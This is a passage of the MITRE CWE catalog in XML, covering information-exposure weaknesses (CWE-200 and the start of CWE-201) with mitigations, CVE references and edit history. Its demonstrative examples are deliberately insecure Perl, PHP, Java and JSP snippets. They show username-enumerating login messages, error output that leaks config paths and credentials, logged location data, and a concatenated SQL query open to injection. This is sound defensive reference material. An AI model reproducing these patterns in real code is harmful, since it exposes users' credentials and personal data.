                           <xhtml:li>Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)</xhtml:li>
                        </xhtml:ul>
                  </xhtml:div>
               </Description>
               <Effectiveness>High</Effectiveness>
            </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-38">
               <Intro_Text>The following code checks validity of the supplied username and password and notifies the user of a successful or failed login.</Intro_Text>
               <Example_Code Nature="Bad" Language="Perl">
                  <xhtml:div>my $username=param('username');
                  <xhtml:br/>my $password=param('password');
                  <xhtml:br/>
                  <xhtml:br/>if (IsValidUsername($username) == 1)
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">if (IsValidPassword($username, $password) == 1)
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Successful";
                  </xhtml:div>}
                  <xhtml:br/>else
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Failed - incorrect password";
                  </xhtml:div>}
                  </xhtml:div>}
                  <xhtml:br/>else
                  <xhtml:br/>{
                  <xhtml:div style="margin-left:1em;">print "Login Failed - unknown username";
                  </xhtml:div>}
                  </xhtml:div>
               </Example_Code>
               <Body_Text>In the above code, there are different messages for when an incorrect username is supplied, versus when the username is correct but the password is wrong. This difference enables a potential attacker to understand the state of the login function, and could allow an attacker to discover a valid username by trying different values until the incorrect password message is returned. In essence, this makes it easier for an attacker to obtain half of the necessary authentication credentials.</Body_Text>
               <Body_Text>While this type of information may be helpful to a user, it is also useful to a potential attacker. In the above example, the message for both failed cases should be the same, such as:</Body_Text>
               <Example_Code Nature="Result">
                  <xhtml:div>"Login Failed - incorrect username or password"</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-118">
               <Intro_Text>This code tries to open a database connection, and prints any exceptions that occur.</Intro_Text>
               <Example_Code Nature="Bad" Language="PHP">
                  <xhtml:div>try {<xhtml:div style="margin-left:1em;">openDbConnection();</xhtml:div>}<xhtml:br/>
                     <xhtml:i>//print exception message that includes exception message and configuration file location</xhtml:i>
                     <xhtml:br/>catch (Exception $e) {<xhtml:div style="margin-left:1em;">echo 'Caught exception: ', $e-&gt;getMessage(), '\n';<xhtml:br/>echo 'Check credentials in config file at: ', $Mysql_config_location, '\n';</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an exception occurs, the printed message exposes the location of the configuration file the script is using. An attacker can use this information to target the configuration file (perhaps exploiting a Path Traversal weakness). If the file can be read, the attacker could gain credentials for accessing the database. The attacker may also be able to replace the file with a malicious one, causing the application to use an arbitrary database.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-119">
               <Intro_Text>In the example below, the method getUserBankAccount retrieves a bank account object from a database using the supplied username and account number to query the database. If an SQLException is raised when querying the database, an error message is created and output to a log file.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public BankAccount getUserBankAccount(String username, String accountNumber) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>BankAccount userAccount = null;<xhtml:br/>String query = null;<xhtml:br/>try {<xhtml:div style="margin-left:1em;">if (isAuthorizedUser(username)) {<xhtml:div style="margin-left:1em;">query = "SELECT * FROM accounts WHERE owner = "<xhtml:br/>+ username + " AND accountID = " + accountNumber;<xhtml:br/>DatabaseManager dbManager = new DatabaseManager();<xhtml:br/>Connection conn = dbManager.getConnection();<xhtml:br/>Statement stmt = conn.createStatement();<xhtml:br/>ResultSet queryResult = stmt.executeQuery(query);<xhtml:br/>userAccount = (BankAccount)queryResult.getObject(accountNumber);</xhtml:div>}</xhtml:div>} catch (SQLException ex) {<xhtml:div style="margin-left:1em;">String logMessage = "Unable to retrieve account information from database,\nquery: " + query;<xhtml:br/>Logger.getLogger(BankManager.class.getName()).log(Level.SEVERE, logMessage, ex);</xhtml:div>}<xhtml:br/>return userAccount;</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The error message that is created includes information about the database query that may contain sensitive information about the database or query logic. In this case, the error message will expose the table name and column names used in the database. This data could be used to simplify other attacks, such as SQL injection (CWE-89) to directly access the database.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-120">
               <Intro_Text>This code stores location information about the current user:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>locationClient = new LocationClient(this, this, this);<xhtml:br/>locationClient.connect();<xhtml:br/>currentUser.setLocation(locationClient.getLastLocation());<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>catch (Exception e) {<xhtml:div style="margin-left:1em;">AlertDialog.Builder builder = new AlertDialog.Builder(this);<xhtml:br/>builder.setMessage("Sorry, this application has experienced an error.");<xhtml:br/>AlertDialog alert = builder.create();<xhtml:br/>alert.show();<xhtml:br/>Log.e("ExampleActivity", "Caught exception: " + e + " While on User:" + User.toString());</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>When the application encounters an exception it will write the user object to the log. Because the user object contains location information, the user's location is also written to the log.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-129">
               <Intro_Text>The following is an actual MySQL error statement:</Intro_Text>
               <Example_Code Nature="Result" Language="SQL">
                  <xhtml:div>Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4</xhtml:div>
               </Example_Code>
               <Body_Text>The error clearly exposes the database credentials.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-130">
               <Intro_Text>This code displays some information on a web page.</Intro_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>Social Security Number: &lt;%= ssn %&gt;&lt;/br&gt;Credit Card Number: &lt;%= ccn %&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>The code displays a user's credit card and social security numbers, even though they aren't absolutely necessary.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-131">
               <Intro_Text>The following program changes its behavior based on a debug flag.</Intro_Text>
               <Example_Code Nature="Bad" Language="JSP">
                  <xhtml:div>&lt;% if (Boolean.getBoolean("debugEnabled")) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>%&gt;<xhtml:br/>User account number: &lt;%= acctNo %&gt;<xhtml:br/>&lt;%<xhtml:br/>} %&gt;<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The code writes sensitive debug information to the client browser if the "debugEnabled" flag is set to true .</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-111">
               <Intro_Text>This code uses location to determine the user's current US State location.</Intro_Text>
               <Body_Text>First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:</Body_Text>
               <Example_Code Nature="Bad" Language="XML">
                  <xhtml:div>&lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/&gt;</xhtml:div>
               </Example_Code>
               <Body_Text>During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>locationClient = new LocationClient(this, this, this);<xhtml:br/>locationClient.connect();<xhtml:br/>Location userCurrLocation;<xhtml:br/>userCurrLocation = locationClient.getLastLocation();<xhtml:br/>deriveStateFromCoords(userCurrLocation);</xhtml:div>
               </Example_Code>
               <Body_Text>While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2001-1483</Reference>
               <Description>Enumeration of valid usernames based on inconsistent responses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1483</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1528</Reference>
               <Description>Account number enumeration via inconsistent responses.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1528</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2150</Reference>
               <Description>User enumeration via discrepancies in error messages.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2150</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1205</Reference>
               <Description>Telnet protocol allows servers to obtain sensitive environment information from clients.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1205</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1725</Reference>
               <Description>Script calls phpinfo(), revealing system configuration to web user</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1725</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-0515</Reference>
               <Description>Product sets a different TTL when a port is being filtered than when it is not being filtered, which allows remote attackers to identify filtered ports by comparing TTLs.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0515</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0778</Reference>
               <Description>Version control system allows remote attackers to determine the existence of arbitrary files and directories via the -X command for an alternate history file, which causes different error messages to be returned.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0778</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1117</Reference>
               <Description>Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1117</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0190</Reference>
               <Description>Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0190</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-2049</Reference>
               <Description>POP3 server reveals a password in an error message after multiple APOP commands are sent. Might be resultant from another weakness.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-2049</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-5172</Reference>
               <Description>Program reveals password in error message if attacker can trigger certain database errors.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-5172</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-4638</Reference>
               <Description>Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-4638</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-1409</Reference>
               <Description>Direct request to library file in web application triggers pathname leak in error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-1409</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0603</Reference>
               <Description>Malformed regexp syntax leads to information exposure in error message.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0603</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2268</Reference>
               <Description>Password exposed in debug information.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2268</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-1078</Reference>
               <Description>FTP client with debug option enabled shows password to the screen.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-1078</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2022-0708</Reference>
               <Description>Collaboration platform does not clear team emails in a response, allowing leak of email addresses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-0708</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Information Leak (information disclosure)</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2007">
               <Entry_ID>A6</Entry_ID>
               <Entry_Name>Information Leakage and Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="WASC">
               <Entry_ID>13</Entry_ID>
               <Entry_Name>Information Leakage</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="116"/>
            <Related_Attack_Pattern CAPEC_ID="13"/>
            <Related_Attack_Pattern CAPEC_ID="169"/>
            <Related_Attack_Pattern CAPEC_ID="22"/>
            <Related_Attack_Pattern CAPEC_ID="224"/>
            <Related_Attack_Pattern CAPEC_ID="285"/>
            <Related_Attack_Pattern CAPEC_ID="287"/>
            <Related_Attack_Pattern CAPEC_ID="290"/>
            <Related_Attack_Pattern CAPEC_ID="291"/>
            <Related_Attack_Pattern CAPEC_ID="292"/>
            <Related_Attack_Pattern CAPEC_ID="293"/>
            <Related_Attack_Pattern CAPEC_ID="294"/>
            <Related_Attack_Pattern CAPEC_ID="295"/>
            <Related_Attack_Pattern CAPEC_ID="296"/>
            <Related_Attack_Pattern CAPEC_ID="297"/>
            <Related_Attack_Pattern CAPEC_ID="298"/>
            <Related_Attack_Pattern CAPEC_ID="299"/>
            <Related_Attack_Pattern CAPEC_ID="300"/>
            <Related_Attack_Pattern CAPEC_ID="301"/>
            <Related_Attack_Pattern CAPEC_ID="302"/>
            <Related_Attack_Pattern CAPEC_ID="303"/>
            <Related_Attack_Pattern CAPEC_ID="304"/>
            <Related_Attack_Pattern CAPEC_ID="305"/>
            <Related_Attack_Pattern CAPEC_ID="306"/>
            <Related_Attack_Pattern CAPEC_ID="307"/>
            <Related_Attack_Pattern CAPEC_ID="308"/>
            <Related_Attack_Pattern CAPEC_ID="309"/>
            <Related_Attack_Pattern CAPEC_ID="310"/>
            <Related_Attack_Pattern CAPEC_ID="312"/>
            <Related_Attack_Pattern CAPEC_ID="313"/>
            <Related_Attack_Pattern CAPEC_ID="317"/>
            <Related_Attack_Pattern CAPEC_ID="318"/>
            <Related_Attack_Pattern CAPEC_ID="319"/>
            <Related_Attack_Pattern CAPEC_ID="320"/>
            <Related_Attack_Pattern CAPEC_ID="321"/>
            <Related_Attack_Pattern CAPEC_ID="322"/>
            <Related_Attack_Pattern CAPEC_ID="323"/>
            <Related_Attack_Pattern CAPEC_ID="324"/>
            <Related_Attack_Pattern CAPEC_ID="325"/>
            <Related_Attack_Pattern CAPEC_ID="326"/>
            <Related_Attack_Pattern CAPEC_ID="327"/>
            <Related_Attack_Pattern CAPEC_ID="328"/>
            <Related_Attack_Pattern CAPEC_ID="329"/>
            <Related_Attack_Pattern CAPEC_ID="330"/>
            <Related_Attack_Pattern CAPEC_ID="472"/>
            <Related_Attack_Pattern CAPEC_ID="497"/>
            <Related_Attack_Pattern CAPEC_ID="508"/>
            <Related_Attack_Pattern CAPEC_ID="573"/>
            <Related_Attack_Pattern CAPEC_ID="574"/>
            <Related_Attack_Pattern CAPEC_ID="575"/>
            <Related_Attack_Pattern CAPEC_ID="576"/>
            <Related_Attack_Pattern CAPEC_ID="577"/>
            <Related_Attack_Pattern CAPEC_ID="59"/>
            <Related_Attack_Pattern CAPEC_ID="60"/>
            <Related_Attack_Pattern CAPEC_ID="616"/>
            <Related_Attack_Pattern CAPEC_ID="643"/>
            <Related_Attack_Pattern CAPEC_ID="646"/>
            <Related_Attack_Pattern CAPEC_ID="651"/>
            <Related_Attack_Pattern CAPEC_ID="79"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-172"/>
            <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: CWE-200 is commonly misused to represent the loss of confidentiality in a vulnerability, but confidentiality loss is a technical impact - not a root cause error. As of CWE 4.9, over 400 CWE entries can lead to a loss of confidentiality. Other options are often available. [REF-1287].</xhtml:p>
               <xhtml:p>Comments: if an error or mistake causes information to be disclosed,
	       then use the CWE ID for that error. Consider starting with improper authorization (CWE-285), insecure permissions (CWE-732), improper authentication (CWE-287), etc. Also consider children such as Insertion of Sensitive Information Into Sent Data (CWE-201), Observable Discrepancy (CWE-203), Insertion of Sensitive Information into Externally-Accessible File or Directory (CWE-538), or others.</xhtml:p>
            </Note>
            <Note Type="Maintenance">As a result of mapping analysis in the 2020 Top 25 and more recent versions, this weakness is under review, since it is frequently misused in mapping to cover many problems that lead to loss of confidentiality. See Mapping Notes, Extended Description, and Alternate Terms.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Likelihood_of_Exploit, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Description, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-02-21</Modification_Date>
               <Modification_Comment>updated Alternate_Terms, Applicable_Platforms, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Observed_Examples, Related_Attack_Patterns, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Description, Maintenance_Notes, Related_Attack_Patterns, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Maintenance_Notes, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Feedback">
			      <Contribution_Name>Nick Johnston</Contribution_Name>
			      <Contribution_Date>2022-07-11</Contribution_Date>
			      <Contribution_Comment>Identified incorrect language tag in demonstrative example.</Contribution_Comment>
			   </Contribution>
            <Previous_Entry_Name Date="2009-12-28">Information Leak (Information Disclosure)</Previous_Entry_Name>
			<Previous_Entry_Name Date="2020-02-24">Information Exposure</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="201" Name="Insertion of Sensitive Information Into Sent Data" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor.</Description>
	 <Extended_Description>Sensitive information could include data that is sensitive in and of itself (such as credentials or private messages), or otherwise useful in the further exploitation of the system (such as internal file system structure).
	 </Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="200" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="209" View_ID="1000"/>
            <Related_Weakness Nature="CanAlsoBe" CWE_ID="202" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
	    <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Confidentiality</Scope>
               <Impact>Read Files or Directories</Impact>
               <Impact>Read Memory</Impact>
               <Impact>Read Application Data</Impact>
               <Note>Sensitive data may be exposed to attackers.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Requirements</Phase>
               <Description>Specify which data in the software should be regarded as sensitive. Consider which types of users should have access to which types of data.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that any possibly sensitive data specified in the requirements is verified with designers to ensure that it is either a calculated risk or mitigated elsewhere. Any information that is not necessary to the functionality should be removed in order to lower both the overhead and the possibility of security sensitive data being sent.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>System Configuration</Phase>
               <Description>Setup default error messages so that unexpected errors do not disclose sensitive information.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-46">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>
                  <xhtml:p>Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.</xhtml:p>
                  <xhtml:p>Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.</xhtml:p>
               </Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-129">
               <Intro_Text>The following is an actual MySQL error statement:</Intro_Text>
               <Example_Code Nature="Result" Language="SQL">
                  <xhtml:div>Warning: mysql_pconnect(): Access denied for user: 'root@localhost' (Using password: N1nj4) in /usr/local/www/wi-data/includes/database.inc on line 4</xhtml:div>
               </Example_Code>
               <Body_Text>The error clearly exposes the database credentials.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>   
            <Observed_Example>
               <Reference>CVE-2022-0708</Reference>
               <Description>Collaboration platform does not clear team emails in a response, allowing leak of email addresses</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2022-0708</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Accidental leaking of sensitive information through sent data</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="12"/>
            <Related_Attack_Pattern CAPEC_ID="217"/>
            <Related_Attack_Pattern CAPEC_ID="612"/>
            <Related_Attack_Pattern CAPEC_ID="613"/>
            <Related_Attack_Pattern CAPEC_ID="618"/>
            <Related_Attack_Pattern CAPEC_ID="619"/>
            <Related_Attack_Pattern CAPEC_ID="621"/>
            <Related_Attack_Pattern CAPEC_ID="622"/>
            <Related_Attack_Pattern CAPEC_ID="623"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
